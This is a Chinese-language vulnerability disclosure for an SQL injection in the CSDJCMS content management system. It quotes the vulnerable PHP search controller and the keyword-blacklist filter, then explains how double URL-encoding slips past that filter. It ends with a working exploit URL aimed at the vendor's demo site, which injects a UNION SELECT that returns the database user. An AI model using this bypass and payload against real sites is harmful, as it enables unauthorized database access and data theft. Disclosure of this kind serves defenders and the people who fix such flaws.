CSDJCMS 程式舞曲 最新版 Sql 一枚 (test demo success).

漏洞作者： ′ 雨。

发现过滤了zj.php中的key

但是app/controllers/dance.php中 没过滤。

[php]

public function so()  {             $data='';$data_content='';             $fid = $this->security->xss_clean($this->uri->segment(3));   //方式             $key = $this->security->xss_clean($this->input->get_post('key', TRUE));   //关键字             $page  = intval($this->input->get('p', TRUE));   //页数             if($page==0) $page=1;             $key=$this->CsdjSkins->rurlencode($key);             if($fid=='zm' && empty($key)){                  $key=$this->security->xss_clean($this->uri->segment(4));              }       $cache_id ="dance_so_".$fid."_".$key."_".$page;

[/php]

[php]

function rurlencode($string) {                $key=rawurldecode($string);                if($this->is_utf8($key)){                     $key=iconv('UTF-8', 'GB2312', $key);                }              return $key;          }

[/php]

解码一个。

[php]

function Safe($arr){   //   $getfilter = "'|<[^>]*?>|^//+//v(8|9)|//b(and|or)//b.+?(>|<|=|//bin//b|//blike//b)|/////*.+?//*///|<//s*script//b|//bEXEC//b|UNION.+?SELECT|UPDATE.+?SET|INSERT//s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)//s+(TABLE|DATABASE)";   $postfilter = "^//+//v(8|9)|//b(and|or)//b.{1,6}?(=|>|<|//bin//b|//blike//b)|/////*.+?//*///|<//s*script//b|<//s*img//b|//bEXEC//b|UNION.+?SELECT|UPDATE.+?SET|INSERT//s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)//s+(TABLE|DATABASE)";    if (preg_match ( "/" . $getfilter . "/is", $arr ) == 1) { //GET    $arr='';    }   if (preg_match ( "/" . $postfilter . "/is", $arr ) == 1) { //POST    $arr='';    }                    return $this->chkSql($arr);  }   function chkSql($str,$flag=false){    $checkStr="<|>|%|%27|'|''|;|*|onfocusin|autofocus|and|exec|dbcc|alter|drop|insert|select|update|delete|count|master|truncate|char|declare|where|set|declare|mid|chr";   if (empty($str)){ return ""; }   $arr=explode("|",$checkStr);       for ($i=0;$i<count($arr);$i++){    if (strpos(strtolower($str),$arr[$i]) >0){     if ($flag==false){      switch ($arr[$i]){       case "<":$re="&lt;";break;       case ">":$re="&gt;";break;       case "'":       case "/"":$re="&quot;";break;       case ";":$re="";break;       default:$re="";break;      }      $str=str_replace($arr[$i],$re,$str);     } else{      exit("ϵͳʾ,аǷַ");     }    }   }   return $str;

[/php]

这里过滤。

编码绕过。

漏洞证明：

exp

[php]

http://demo.chshcms.com/index.php/dance/so/key/?key=%252527) %25%36%31%25%36%45%25%36%34 1=2 union %25%37%33%25%36%35%25%36%43%25%36%35%25%36%33%25%37%34 user(),user(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 %23

[/php]